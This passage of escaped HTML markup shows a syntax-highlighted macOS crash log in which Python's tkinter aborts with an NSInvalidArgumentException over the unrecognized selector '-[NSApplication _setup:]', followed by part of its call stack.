&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;36&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#36&#34;&gt;36&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;37&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#37&#34;&gt;37&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;38&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#38&#34;&gt;38&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;39&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#39&#34;&gt;39&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;40&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#40&#34;&gt;40&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;41&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#41&#34;&gt;41&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;42&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#42&#34;&gt;42&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;43&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#43&#34;&gt;43&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;44&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#44&#34;&gt;44&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;45&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#45&#34;&gt;45&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt;46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt;47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt;48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt;49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt;50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt;51&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;52&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#52&#34;&gt;52&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;53&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#53&#34;&gt;53&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;54&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#54&#34;&gt;54&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;55&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#55&#34;&gt;55&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;56&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#56&#34;&gt;56&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2019-01-18 14:23:34.648 python&lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt;38527:919087&lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt; -&lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt;NSApplication &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;setup:&lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt;: unrecognized selector sent to instance 0x7fbafa49bf10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2019-01-18 14:23:34.654 python&lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt;38527:919087&lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\*\*\*&lt;/span&gt; Terminating app due to uncaught exception &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;NSInvalidArgumentException&amp;#39;&lt;/span&gt;, reason: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;-\[NSApplication \_setup:\]: unrecognized selector sent to instance 0x7fbafa49bf10&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\*\*\*&lt;/span&gt; First throw call stack:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;   CoreFoundation                      0x00007fff521a1ecd &lt;span style=&#34;color:#8aadf4&#34;&gt;\_\_&lt;/span&gt;exceptionPreprocess + &lt;span style=&#34;color:#f5a97f&#34;&gt;256&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;   libobjc.A.dylib                     0x00007fff7e25d720 objc&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;exception&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;throw + &lt;span style=&#34;color:#f5a97f&#34;&gt;48&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;   CoreFoundation                      0x00007fff5221f275 -&lt;span style=&#34;color:#8aadf4&#34;&gt;\[&lt;/span&gt;NSObject&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;(&lt;/span&gt;NSObject&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;\_\_&lt;/span&gt;retain&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;OA&lt;span style=&#34;color:#8aadf4&#34;&gt;\]&lt;/span&gt; + &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;   CoreFoundation                      0x00007fff52143b40 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_\_\_&lt;/span&gt;forwarding&lt;span style=&#34;color:#8aadf4&#34;&gt;\_\_\_&lt;/span&gt; + &lt;span style=&#34;color:#f5a97f&#34;&gt;1486&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;4&lt;/span&gt;   CoreFoundation                      0x00007fff521434e8 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;CF&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;forwarding&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;prep&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; + &lt;span style=&#34;color:#f5a97f&#34;&gt;120&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;5&lt;/span&gt;   libtk8.6.dylib                      0x000000011523031d TkpInit + &lt;span style=&#34;color:#f5a97f&#34;&gt;413&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;6&lt;/span&gt;   libtk8.6.dylib                      0x000000011518817e Initialize + &lt;span style=&#34;color:#f5a97f&#34;&gt;2622&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;7&lt;/span&gt;   &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;tkinter.cpython-37m-darwin.so      0x0000000114fb2a0f &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;tkinter&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;create + &lt;span style=&#34;color:#f5a97f&#34;&gt;1183&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;8&lt;/span&gt;   python                              0x0000000101836ba6 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyMethodDef&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;RawFastCallKeywords + &lt;span style=&#34;color:#f5a97f&#34;&gt;230&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;9&lt;/span&gt;   python                              0x00000001019772b1 call&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;function + &lt;span style=&#34;color:#f5a97f&#34;&gt;257&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt;  python                              0x0000000101974daf &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalFrameDefault + &lt;span style=&#34;color:#f5a97f&#34;&gt;45215&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;11&lt;/span&gt;  python                              0x0000000101968a42 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalCodeWithName + &lt;span style=&#34;color:#f5a97f&#34;&gt;418&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;12&lt;/span&gt;  python                              0x0000000101835867 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyFunction&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;FastCallDict + &lt;span style=&#34;color:#f5a97f&#34;&gt;231&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;13&lt;/span&gt;  python                              0x00000001018b9481 slot&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;tp&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;init + &lt;span style=&#34;color:#f5a97f&#34;&gt;193&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;14&lt;/span&gt;  python                              0x00000001018c3441 type&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;call + &lt;span style=&#34;color:#f5a97f&#34;&gt;241&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;15&lt;/span&gt;  python                              0x0000000101836573 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyObject&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;FastCallKeywords + &lt;span style=&#34;color:#f5a97f&#34;&gt;179&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;16&lt;/span&gt;  python                              0x000000010197733f call&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;function + &lt;span style=&#34;color:#f5a97f&#34;&gt;399&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;17&lt;/span&gt;  python                              0x0000000101975052 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalFrameDefault + &lt;span style=&#34;color:#f5a97f&#34;&gt;45890&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;18&lt;/span&gt;  python                              0x0000000101836368 &lt;span style=&#34;color:#c6a0f6&#34;&gt;function&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;code&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;fastcall + &lt;span style=&#34;color:#f5a97f&#34;&gt;120&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;19&lt;/span&gt;  python                              0x0000000101977265 call&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;function + &lt;span style=&#34;color:#f5a97f&#34;&gt;181&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;20&lt;/span&gt;  python                              0x0000000101974daf &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalFrameDefault + &lt;span style=&#34;color:#f5a97f&#34;&gt;45215&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;21&lt;/span&gt;  python                              0x0000000101968a42 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalCodeWithName + &lt;span style=&#34;color:#f5a97f&#34;&gt;418&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;22&lt;/span&gt;  python                              0x0000000101835867 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyFunction&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;FastCallDict + &lt;span style=&#34;color:#f5a97f&#34;&gt;231&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;23&lt;/span&gt;  python                              0x0000000101839782 method&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;call + &lt;span style=&#34;color:#f5a97f&#34;&gt;130&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;24&lt;/span&gt;  python                              0x00000001018371e2 PyObject&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;Call + &lt;span style=&#34;color:#f5a97f&#34;&gt;130&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;25&lt;/span&gt;  python                              0x00000001019751c6 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalFrameDefault + &lt;span style=&#34;color:#f5a97f&#34;&gt;46262&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;26&lt;/span&gt;  python                              0x0000000101968a42 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalCodeWithName + &lt;span style=&#34;color:#f5a97f&#34;&gt;418&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;27&lt;/span&gt;  python                              0x0000000101836a73 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyFunction&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;FastCallKeywords + &lt;span style=&#34;color:#f5a97f&#34;&gt;195&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;28&lt;/span&gt;  python                              0x0000000101977265 call&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;function + &lt;span style=&#34;color:#f5a97f&#34;&gt;181&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;29&lt;/span&gt;  python                              0x0000000101974f99 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalFrameDefault + &lt;span style=&#34;color:#f5a97f&#34;&gt;45705&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;30&lt;/span&gt;  python                              0x0000000101836368 &lt;span style=&#34;color:#c6a0f6&#34;&gt;function&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;code&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;fastcall + &lt;span style=&#34;color:#f5a97f&#34;&gt;120&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;31&lt;/span&gt;  python                              0x0000000101977265 call&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;function + &lt;span style=&#34;color:#f5a97f&#34;&gt;181&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;32&lt;/span&gt;  python                              0x0000000101974f99 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalFrameDefault + &lt;span style=&#34;color:#f5a97f&#34;&gt;45705&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;33&lt;/span&gt;  python                              0x0000000101968a42 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalCodeWithName + &lt;span style=&#34;color:#f5a97f&#34;&gt;418&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;34&lt;/span&gt;  python                              0x0000000101836a73 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyFunction&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;FastCallKeywords + &lt;span style=&#34;color:#f5a97f&#34;&gt;195&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;35&lt;/span&gt;  python                              0x0000000101977265 call&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;function + &lt;span style=&#34;color:#f5a97f&#34;&gt;181&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f5a97f&#34;&gt;36&lt;/span&gt;  python                              0x0000000101974f99 &lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;PyEval&lt;span style=&#34;color:#8aadf4&#34;&gt;\_&lt;/span&gt;EvalFrameDefault + &lt;span style=&#34;color:#f5a97f&#34;&gt;45705&lt;/span&gt;
